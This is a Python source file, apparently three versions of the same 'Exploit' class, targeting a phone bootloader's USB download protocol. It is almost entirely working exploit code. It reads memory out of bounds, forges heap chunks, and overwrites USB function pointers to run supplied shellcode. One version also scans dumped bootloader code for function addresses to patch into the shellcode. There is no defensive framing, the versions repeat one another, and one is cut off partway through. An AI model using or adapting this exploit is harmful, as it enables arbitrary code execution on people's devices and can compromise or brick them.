class Exploit(object): MAGIC_USB_WRITE = 0x8776D35A MAGIC_USB_READ = 0xB9F9EAD9 def __init__(self): self._packet_data_size = None self._odin = Odin() self._odin.open() self.inited = False def close(self): self._odin.close() def write(self, buf): self._odin.write(buf) def read_nofail(self, sz): try: return self._odin.read(sz) except usb1.USBError: logging.debug('Read {} bytes failed'.format(sz)) return False def read_timeout(self, sz, tries=1024): for _ in range(tries): ret = self.read_nofail(sz) if ret: break else: logging.error('Timeout') raise Exception('Timeout waiting for read') return ret def write_pkt(self, pkt): pkt = pkt.ljust(1024, b'\0') self.write(pkt) def open_session(self): logging.debug('Opening session') self.write(BeginSessionPacket()) ret = self.read_nofail(8) if not ret: logging.warning('Cannot open a session') else: logging.debug('Session opened with result {}'.format( struct.unpack('<i', ret[:4])[0])) self._packet_data_size = 0x20000 return ret def close_session(self, reboot=0): logging.debug('Closing session (reboot={})'.format(reboot)) pkt = Packet.pack32(0x67) + Packet.pack32(reboot) self.write_pkt(pkt) self.read_nofail(8) def set_total_bytes(self, totbytes): logging.debug('Setting g_total_bytes=0x{:08x}'.format(totbytes)) pkt = Packet.pack32(0x64) + Packet.pack32(2) + Packet.pack32(totbytes) self.write_pkt(pkt) self.read_nofail(8) def set_packet_data_size(self, sz): logging.debug('Setting g_packet_data_size=0x{:08x}'.format(sz)) pkt = Packet.pack32(0x64) + Packet.pack32(5) + Packet.pack32(sz) self.write_pkt(pkt) if self.read_nofail(8): self._packet_data_size = sz def set_tflash(self): logging.debug('Setting g_tflash=1') pkt = Packet.pack32(0x64) + Packet.pack32(8) self.write_pkt(pkt) self.read_nofail(8) def set_filetransfer_offset(self, val): self.set_isdump(0) logging.debug('Setting g_filetransfer_offset=0x{:08x}'.format(val)) pkt = Packet.pack32(0x66) + Packet.pack32(3) + Packet.pack32(0) + \ Packet.pack32(val) + Packet.pack32(0) + Packet.pack32(0) self.write_pkt(pkt) self.read_nofail(8) def set_filetransfer_offset_other(self, val): self.set_isdump(0) logging.debug( 'Setting g_filetransfer_offset_other=0x{:08x}'.fomrat(val)) pkt = Packet.pack32(0x66) + Packet.pack32(3) + Packet.pack32(0) + \ Packet.pack32(val) + Packet.pack32(1) + Packet.pack32(0) self.write_pkt(pkt) self.read_nofail(8) def filetransfer_write(self, buf): self.set_isdump(0) self.set_packet_data_size(len(buf)) logging.debug('Writing filetransfer ({} bytes)'.format(len(buf))) pkt = Packet.pack32(0x66) + Packet.pack32(2) + Packet.pack32(len(buf)) self.write_pkt(pkt) self.read_nofail(8) for i in range(0, len(buf), self._packet_data_size): self.write(buf[i:i + self._packet_data_size]) self.read_nofail(8) def ping(self): logging.debug('Ping') pkt = Packet.pack32(0x64) + Packet.pack32(1) self.write_pkt(pkt) if not self.read_nofail(8): logging.warning('Ping failed!') return False return True def reboot(self): self.close_session(1) def set_isdump(self, isdump): isdump = 1 if isdump else 0 logging.debug('Setting isdump={}'.format(isdump)) pkt = Packet.pack32(0x66) + Packet.pack32(isdump) self.write_pkt(pkt) return self.read_nofail(8) def read_buf(self, part): self.set_isdump(1) logging.debug('Reading buf part {}'.format(part)) pkt = Packet.pack32(0x65) + Packet.pack32(2) + \ Packet.pack32(part & 0xffffffff) self.write_pkt(pkt) buf = self.read_nofail(500) return buf def read_memory(self, offset, size): part = offset // 500 chunk = self.read_buf(part) start = part * 500 while len(chunk) - (offset - start) < size: part += 1 chunk += self.read_buf(part) return chunk[offset - start:offset - start + size] def write_buf(self, data): self.set_isdump(0) logging.debug('Writing buf ({} bytes)'.format(len(data))) pkt = Packet.pack32(0x65) + Packet.pack32(2) + Packet.pack32(len(data)) self.write_pkt(pkt) if not self.read_nofail(8): logging.warning('Cannot set write buffer length') self.write(data) ret = self.read_nofail(8) if not ret: logging.warning('Cannot write buffer') return ret def spray(self, amount=8): for i in range(amount): if not self.open_session(): return False return True def init(self): if not self.spray(): return False header = self.read_memory(-0x10, 0x10) size, isfree, prev, next = struct.unpack("<IIII", header) assert size == 0x2000 assert (isfree & 1) == 0 self.buf_ptr = next - 0x2000 self.header_ptr = self.buf_ptr - 0x10 self.prev_ptr = prev prb_ptr = next logging.debug('First chunk header pointer: 0x{:08x}'.format( self.header_ptr)) self.inited = True return True def run_shellcode(self, shellcode): if not self.inited: raise RuntimeError("Exploit isn't initialized") logging.debug('Searching for arena ptr...') prev = self.prev_ptr while True: cur = prev - self.buf_ptr header = self.read_memory(cur, 0x10) size, isfree, prev, next = struct.unpack("<IIII", header) if prev == 0 or prev >= self.header_ptr: arena = cur + self.buf_ptr logging.debug('Arena is at 0x{:08x}'.format(arena)) break # Fake last chunk so we gain control over function pointers last = self.buf_ptr # Read arena area and find USB function pointers arena_memory = self.read_memory(arena - self.buf_ptr, 0x80) for vptr_off in range(0, len(arena_memory) - 4, 4): ptrs = struct.unpack("<II", arena_memory[vptr_off:vptr_off + 8]) if all(((ptr & 0xff000000) == 0x43000000 for ptr in ptrs)): break else: raise Exception('Could not find USB function pointers') logging.debug( 'Function pointers are at offset 0x{:08x}'.format(vptr_off)) # Prepare shellcode shellcode = shellcode.replace(struct.pack('<I', self.MAGIC_USB_WRITE), struct.pack('<I', ptrs[0])) shellcode = shellcode.replace(struct.pack('<I', self.MAGIC_USB_READ), struct.pack('<I', ptrs[1])) # Fill buffer (start of buffer is fake last chunk) # Fake size such that next alloc is placed on an address to our control # We use a size such that next allocation is placed around /arena/ data = bytes() data += struct.pack('<IIII', (arena - self.buf_ptr - 0x10 + 0x100) & 0xffffffff, 1, 0, arena) data += shellcode data += b'\x0a' * (0x2000 - len(data)) prev_header_ptr = self.header_ptr cur_header_ptr = self.header_ptr + 0x10 + 0x2000 # Create chunks -- (size, isfree) chunks = [(0x10, 0)] + [(0x10, 1)] * 256 for i, (sz, isfree) in enumerate(chunks): if i == len(chunks) - 1: next = last chunk_data = b'' else: next = cur_header_ptr + 0x10 + sz chunk_data = b's' * sz data += struct.pack("<IIII", sz, isfree, prev_header_ptr, next) data += chunk_data prev_header_ptr = cur_header_ptr cur_header_ptr = cur_header_ptr + 0x10 + sz self.write_buf(data) logging.debug('Fake chunks are set up. Triggering absolute write...') # Prepare new arena_memory to write over the original one ptr_to_jump = self.buf_ptr + 0x10 arena_memory = arena_memory[:vptr_off] + \ struct.pack("<I", ptr_to_jump) * 2 + \ arena_memory[vptr_off:] # Loop malloc(0x2000), write_buf so eventually it is allocated over # arena_memory for i in range(256): if not self.open_session(): raise RuntimeError( 'Cannot malloc(0x2000) - target may have crashed. Do you ' 'use same sboot version as the shellcode?') ret = self.write_buf(b'\0' * (0x2000 - 0x100) + arena_memory) if ret == b'oranav': break else: raise RuntimeError( "Could not trigger absolute write - haven't received the knock" " code. Vulnerability might be fixed") logging.debug('Shellcode is running!')
class Exploit(object): def __init__(self): self._packet_data_size = None self._odin = Odin() self._odin.open() def close(self): self._odin.close() def write(self, buf): self._odin.write(buf) def read_nofail(self, sz): try: return self._odin.read(sz) except usb1.USBError: logging.debug('Read {} bytes failed'.format(sz)) return False def read_timeout(self, sz, tries=1024): for _ in range(tries): ret = self.read_nofail(sz) if ret: break else: logging.error('Timeout') raise Exception('Timeout waiting for read') return ret def write_pkt(self, pkt): pkt = pkt.ljust(1024, b'\0') self.write(pkt) def open_session(self): logging.debug('Opening session') self.write(BeginSessionPacket()) ret = self.read_nofail(8) if not ret: logging.warning('Cannot open a session') else: logging.debug('Session opened with result {}'.format( struct.unpack('<i', ret[:4])[0])) self._packet_data_size = 0x20000 return ret def close_session(self, reboot=0): logging.debug('Closing session (reboot={})'.format(reboot)) pkt = Packet.pack32(0x67) + Packet.pack32(reboot) self.write_pkt(pkt) self.read_nofail(8) def set_total_bytes(self, totbytes): logging.debug('Setting g_total_bytes=0x{:08x}'.format(totbytes)) pkt = Packet.pack32(0x64) + Packet.pack32(2) + Packet.pack32(totbytes) self.write_pkt(pkt) self.read_nofail(8) def set_packet_data_size(self, sz): logging.debug('Setting g_packet_data_size=0x{:08x}'.format(sz)) pkt = Packet.pack32(0x64) + Packet.pack32(5) + Packet.pack32(sz) self.write_pkt(pkt) if self.read_nofail(8): self._packet_data_size = sz def set_tflash(self): logging.debug('Setting g_tflash=1') pkt = Packet.pack32(0x64) + Packet.pack32(8) self.write_pkt(pkt) self.read_nofail(8) def set_filetransfer_offset(self, val): self.set_isdump(0) logging.debug('Setting g_filetransfer_offset=0x{:08x}'.format(val)) pkt = Packet.pack32(0x66) + Packet.pack32(3) + Packet.pack32(0) + \ Packet.pack32(val) + Packet.pack32(0) + Packet.pack32(0) self.write_pkt(pkt) self.read_nofail(8) def set_filetransfer_offset_other(self, val): self.set_isdump(0) logging.debug('Setting g_filetransfer_offset_other=0x{:08x}' .fomrat(val)) pkt = Packet.pack32(0x66) + Packet.pack32(3) + Packet.pack32(0) + \ Packet.pack32(val) + Packet.pack32(1) + Packet.pack32(0) self.write_pkt(pkt) self.read_nofail(8) def filetransfer_write(self, buf): self.set_isdump(0) self.set_packet_data_size(len(buf)) logging.debug('Writing filetransfer ({} bytes)'.format(len(buf))) pkt = Packet.pack32(0x66) + Packet.pack32(2) + Packet.pack32(len(buf)) self.write_pkt(pkt) self.read_nofail(8) for i in range(0, len(buf), self._packet_data_size): self.write(buf[i:i+self._packet_data_size]) self.read_nofail(8) def ping(self): logging.debug('Ping') pkt = Packet.pack32(0x64) + Packet.pack32(1) self.write_pkt(pkt) if not self.read_nofail(8): logging.warning('Ping failed!') return False return True def reboot(self): self.close_session(1) def set_isdump(self, isdump): isdump = 1 if isdump else 0 logging.debug('Setting isdump={}'.format(isdump)) pkt = Packet.pack32(0x66) + Packet.pack32(isdump) self.write_pkt(pkt) return self.read_nofail(8) def read_buf(self, part): self.set_isdump(1) logging.debug('Reading buf part {}'.format(part)) pkt = Packet.pack32(0x65) + Packet.pack32(2) + \ Packet.pack32(part & 0xffffffff) self.write_pkt(pkt) buf = self.read_nofail(500) return buf def read_memory(self, offset, size): part = offset//500 chunk = self.read_buf(part) start = part*500 while len(chunk) - (offset-start) < size: part += 1 chunk += self.read_buf(part) return chunk[offset-start:offset-start+size] def write_buf(self, data): self.set_isdump(0) logging.debug('Writing buf ({} bytes)'.format(len(data))) pkt = Packet.pack32(0x65) + Packet.pack32(2) + Packet.pack32(len(data)) self.write_pkt(pkt) if not self.read_nofail(8): logging.warning('Cannot set write buffer length') self.write(data) ret = self.read_nofail(8) if not ret: logging.warning('Cannot write buffer') return ret def spray(self, amount=8): for i in range(amount): self.open_session()
class Exploit(object): MAGIC_USB_WRITE = 0x8776D35A MAGIC_USB_READ = 0xB9F9EAD9 MAGIC_SLEEP = 0x934ED462 MAGIC_DISPLAY = 0x3D486FAB MAGIC_CLK1 = 0x3300A7FB MAGIC_CLK2 = 0x3F392D79 MAGIC_MMC_STARTUP = 0xCB02B341 SBOOT_ADDRESS = 0x43E00000 def __init__(self): self._packet_data_size = None self._odin = Odin() self._odin.open() self._sboot = b'' self.inited = False def close(self): self._odin.close() def write(self, buf): self._odin.write(buf) def read_nofail(self, sz): try: return self._odin.read(sz) except usb1.USBError: logging.debug('Read {} bytes failed'.format(sz)) return False def read_timeout(self, sz, tries=1024): for _ in range(tries): ret = self.read_nofail(sz) if ret: break else: logging.error('Timeout') raise Exception('Timeout waiting for read') return ret def write_pkt(self, pkt): pkt = pkt.ljust(1024, b'\0') self.write(pkt) def open_session(self): logging.debug('Opening session') self.write(BeginSessionPacket()) ret = self.read_nofail(8) if not ret: logging.warning('Cannot open a session') else: logging.debug('Session opened with result {}'.format( struct.unpack('<i', ret[:4])[0])) self._packet_data_size = 0x20000 return ret def close_session(self, reboot=0): logging.debug('Closing session (reboot={})'.format(reboot)) pkt = Packet.pack32(0x67) + Packet.pack32(reboot) self.write_pkt(pkt) self.read_nofail(8) def set_total_bytes(self, totbytes): logging.debug('Setting g_total_bytes=0x{:08x}'.format(totbytes)) pkt = Packet.pack32(0x64) + Packet.pack32(2) + Packet.pack32(totbytes) self.write_pkt(pkt) self.read_nofail(8) def set_packet_data_size(self, sz): logging.debug('Setting g_packet_data_size=0x{:08x}'.format(sz)) pkt = Packet.pack32(0x64) + Packet.pack32(5) + Packet.pack32(sz) self.write_pkt(pkt) if self.read_nofail(8): self._packet_data_size = sz def set_tflash(self): logging.debug('Setting g_tflash=1') pkt = Packet.pack32(0x64) + Packet.pack32(8) self.write_pkt(pkt) self.read_nofail(8) def set_filetransfer_offset(self, val): self.set_isdump(0) logging.debug('Setting g_filetransfer_offset=0x{:08x}'.format(val)) pkt = Packet.pack32(0x66) + Packet.pack32(3) + Packet.pack32(0) + \ Packet.pack32(val) + Packet.pack32(0) + Packet.pack32(0) self.write_pkt(pkt) self.read_nofail(8) def set_filetransfer_offset_other(self, val): self.set_isdump(0) logging.debug( 'Setting g_filetransfer_offset_other=0x{:08x}'.fomrat(val)) pkt = Packet.pack32(0x66) + Packet.pack32(3) + Packet.pack32(0) + \ Packet.pack32(val) + Packet.pack32(1) + Packet.pack32(0) self.write_pkt(pkt) self.read_nofail(8) def filetransfer_write(self, buf): self.set_isdump(0) self.set_packet_data_size(len(buf)) logging.debug('Writing filetransfer ({} bytes)'.format(len(buf))) pkt = Packet.pack32(0x66) + Packet.pack32(2) + Packet.pack32(len(buf)) self.write_pkt(pkt) self.read_nofail(8) for i in range(0, len(buf), self._packet_data_size): self.write(buf[i:i + self._packet_data_size]) self.read_nofail(8) def ping(self): logging.debug('Ping') pkt = Packet.pack32(0x64) + Packet.pack32(1) self.write_pkt(pkt) if not self.read_nofail(8): logging.warning('Ping failed!') return False return True def reboot(self): self.close_session(1) def set_isdump(self, isdump): isdump = 1 if isdump else 0 logging.debug('Setting isdump={}'.format(isdump)) pkt = Packet.pack32(0x66) + Packet.pack32(isdump) self.write_pkt(pkt) return self.read_nofail(8) def read_buf(self, part): self.set_isdump(1) logging.debug('Reading buf part {}'.format(part)) pkt = Packet.pack32(0x65) + Packet.pack32(2) + \ Packet.pack32(part & 0xffffffff) self.write_pkt(pkt) buf = self.read_nofail(500) return buf def read_memory(self, offset, size): part = offset // 500 chunk = self.read_buf(part) start = part * 500 while len(chunk) - (offset - start) < size: part += 1 chunk += self.read_buf(part) return chunk[offset - start:offset - start + size] def write_buf(self, data): self.set_isdump(0) logging.debug('Writing buf ({} bytes)'.format(len(data))) pkt = Packet.pack32(0x65) + Packet.pack32(2) + Packet.pack32(len(data)) self.write_pkt(pkt) if not self.read_nofail(8): logging.warning('Cannot set write buffer length') self.write(data) ret = self.read_nofail(8) if not ret: logging.warning('Cannot write buffer') return ret def spray(self, amount=8): for i in range(amount): if not self.open_session(): return False return True def init(self): if not self.spray(): return False header = self.read_memory(-0x10, 0x10) size, isfree, prev, next = struct.unpack("<IIII", header) assert size == 0x2000 assert (isfree & 1) == 0 self.buf_ptr = next - 0x2000 self.header_ptr = self.buf_ptr - 0x10 self.prev_ptr = prev prb_ptr = next logging.debug('First chunk header pointer: 0x{:08x}'.format( self.header_ptr)) self.inited = True return True def run_shellcode(self, shellcode): if not self.inited: raise RuntimeError("Exploit isn't initialized") logging.debug('Dumping some sboot code') end = self.SBOOT_ADDRESS + 0x20000 chunk_size = 0x1f0 for addr in range(self.SBOOT_ADDRESS, end, chunk_size): sz = min(chunk_size, end - addr) chunk = exploit.read_memory(addr - exploit.buf_ptr, sz) self._sboot += chunk # Find sleep() address: MOV R0, #1000 sleep = self._find_function(b'\xfa\x0f\xa0\xe3') logging.debug('sleep() found at 0x{:08x}'.format(sleep)) # Find display() address: MOV R2, #0xFF0000 display = self._find_function(b'\xff\x28\xa0\xe3') logging.debug('display() found at 0x{:08x}'.format(display)) # Find clk1() address: MOV R1, #0x2FAF080 clk1 = self._find_function(b'\x80\x10\x0F\xE3\xFA\x12\x40\xE3') logging.debug('clk1() found at 0x{:08x}'.format(clk1)) # Find clk2() address: MOV R1, #6 # signature isn't perfect so use lookahead=2 for tighter constraints clk2 = self._find_function(b'\x06\x10\xA0\xE3', 2) logging.debug('clk2() found at 0x{:08x}'.format(clk2)) # Find mmc_startup() address # This requires some trickery since I couldn't find any simple pattern for offset in range(0, len(self._sboot), 4): # 1. Find a MOV (actually MVN) with #-0x16: opcode = struct.unpack('<I', self._sboot[offset:offset + 4])[0] if (opcode & 0x0FF00FFF) != 0x03E00015: continue # 2. Find an STMFD above (function start): for func_start in range(offset - 4, max(0, offset - 4 * 32), -4): data = self._sboot[func_start:func_start + 4] opcode = struct.unpack('<I', data)[0] if (opcode & 0xFFFF0000) == 0xE92D0000: break else: continue # 3. Found! mmc_startup = self.SBOOT_ADDRESS + func_start break else: raise Exception('Could not find mmc_startup() in this sboot') logging.debug('mmc_startup() found at 0x{:08x}'.format(mmc_startup)) logging.debug('Searching for arena ptr...') prev = self.prev_ptr while True: cur = prev - self.buf_ptr header = self.read_memory(cur, 0x10) size, isfree, prev, next = struct.unpack("<IIII", header) if prev == 0 or prev >= self.header_ptr: arena = cur + self.buf_ptr logging.debug('Arena is at 0x{:08x}'.format(arena)) break # Fake last chunk so we gain control over function pointers last = self.buf_ptr # Read arena area and find USB function pointers arena_memory = self.read_memory(arena - self.buf_ptr, 0x80) for vptr_off in range(0, len(arena_memory) - 4, 4): ptrs = struct.unpack("<II", arena_memory[vptr_off:vptr_off + 8]) if all(((ptr & 0xff000000) == 0x43000000 for ptr in ptrs)): break else: raise Exception('Could not find USB function pointers') logging.debug( 'Function pointers are at offset 0x{:08x}'.format(vptr_off)) # Prepare shellcode shellcode = shellcode.replace(struct.pack('<I', self.MAGIC_USB_WRITE), struct.pack('<I', ptrs[0])) shellcode = shellcode.replace(struct.pack('<I', self.MAGIC_USB_READ), struct.pack('<I', ptrs[1])) shellcode = shellcode.replace(struct.pack('<I', self.MAGIC_SLEEP), struct.pack('<I', sleep)) shellcode = shellcode.replace(struct.pack('<I', self.MAGIC_DISPLAY), struct.pack('<I', display)) shellcode = shellcode.replace(struct.pack('<I', self.MAGIC_CLK1), struct.pack('<I', clk1)) shellcode = shellcode.replace(struct.pack('<I', self.MAGIC_CLK2), struct.pack('<I', clk2)) shellcode = shellcode.replace( struct.pack('<I', self.MAGIC_MMC_STARTUP), struct.pack('<I', mmc_startup)) # Fill buffer (start of buffer is fake last chunk) # Fake size such that next alloc is placed on an address to our control # We use a size such that next allocation is placed around /arena/ data = bytes() data += struct.pack('<IIII', (arena - self.buf_ptr - 0x10 + 0x100) & 0xffffffff, 1, 0, arena) data += shellcode data += b'\x0a' * (0x2000 - len(data)) prev_header_ptr = self.header_ptr cur_header_ptr = self.header_ptr + 0x10 + 0x2000 # Create chunks -- (size, isfree) chunks = [(0x10, 0)] + [(0x10, 1)] * 256 for i, (sz, isfree) in enumerate(chunks): if i == len(chunks) - 1: next = last chunk_data = b'' else: next = cur_header_ptr + 0x10 + sz chunk_data = b's' * sz data += struct.pack("<IIII", sz, isfree, prev_header_ptr, next) data += chunk_data prev_header_ptr = cur_header_ptr cur_header_ptr = cur_header_ptr + 0x10 + sz self.write_buf(data) logging.debug('Fake chunks are set up. Triggering absolute write...') # Prepare new arena_memory to write over the original one ptr_to_jump = self.buf_ptr + 0x10 arena_memory = arena_memory[:vptr_off] + \ struct.pack("<I", ptr_to_jump) * 2 + \ arena_memory[vptr_off + 4*2:] # Loop malloc(0x2000), write_buf so eventually it is allocated over # arena_memory for i in range(256): if not self.open_session(): raise RuntimeError( 'Cannot malloc(0x2000) - target may have crashed. Do you ' 'use same sboot version as the shellcode?') ret = self.write_buf(b'\0' * (0x2000 - 0x100) + arena_memory) if ret == b'oranav': break else: raise RuntimeError( "Could not trigger absolute write - haven't received the knock" " code. Vulnerability might be fixed") logging.debug('Shellcode is running!') def _find_function(self, signature, bl_lookahead=8): """Finds a function address in sboot. `signature' is a unique pattern which indiactes a unique argument passed to the function; `bl_lookahead' is the maximum distance to look for a BL instruction from the signature. """ assert (len(signature) % 4) == 0, 'signature must be aligned' offset = -1 while True: offset = self._sboot.find(signature, offset + 1) if offset == -1: raise Exception('Could not parse this sboot version') # must be aligned if offset % 4: continue # now it should BL, so just 'disassemble' it max_ahead = min(offset + bl_lookahead * 4, len(self._sboot)) for ahead in range(offset + len(signature), max_ahead, 4): branch = self._sboot[ahead:ahead + 4] if branch[3] != 0xeb: continue bl_base = self.SBOOT_ADDRESS + ahead + 8 sign_extended = branch[:3] if sign_extended[2] & 0x80: sign_extended += b'\xff' else: sign_extended += b'\0' bl_offset = struct.unpack('<i', sign_extended)[0] * 4 func_addr = bl_base + bl_offset return func_addr